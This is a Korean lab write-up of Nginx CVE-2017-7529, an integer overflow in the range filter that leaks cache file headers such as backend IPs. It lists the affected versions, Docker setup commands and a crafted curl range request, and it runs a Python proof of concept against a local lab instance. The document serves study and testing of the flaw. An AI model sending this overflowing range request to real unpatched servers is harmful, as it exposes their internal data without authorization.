
Nginx 정수 오버플로우(CVE-2017-7529)에 대한 개념 증명 익스플로잇으로, 조작된 범위 요청을 통해 캐시 헤더를 노출하며 Docker 기반 실습 환경과 Python POC 스크립트를 포함합니다.
nginx 표준 모듈을 사용할 때 공격자는 악의적으로 구성된 range 필드를 포함한 헤더 요청을 전송하여 응답의 캐시 파일 헤더 정보를 얻을 수 있습니다. 특정 구성에서는 캐시 파일 헤더에 백엔드 서버의 IP 주소나 기타 민감한 정보가 포함될 수 있어 정보 유출이 발생할 수 있습니다.
참고: 【취약점 분석】Nginx range 필터 정수 오버플로 취약점 (CVE–2017–7529) 예비 분석
이 취약점은 기본 구성 모듈을 사용하는 모든 0.5.6 ~ 1.13.2 버전의 Nginx에 영향을 미칩니다. 캐시를 활성화하기만 하면 공격자가 원격으로 악의적인 요청을 보내 정보 유출을 일으킬 수 있습니다.
Nginx 서버가 프록시 캐시를 사용하는 경우 공격자는 이 취약점을 이용해 서버의 백엔드 실제 IP나 기타 민감한 정보를 얻을 수 있습니다.
분석 결과 이 취약점은 공격 난이도가 낮아 low-hanging-fruit에 속하며 실제 네트워크 공격에서도 일정 부분 활용 가치가 있습니다.
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
-p 8000:80앞의 8000은 물리 머신의 포트를 나타내며 임의로 지정할 수 있습니다.
/proxy/demo.png 예시:$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Content-Length: 16585을 확인하고, 이보다 큰 값(예: 17208)을 선택합니다. 두 번째 range 값은 0x8000000000000000-17208, 즉 9223372036854758600입니다.
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
결과 확인:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png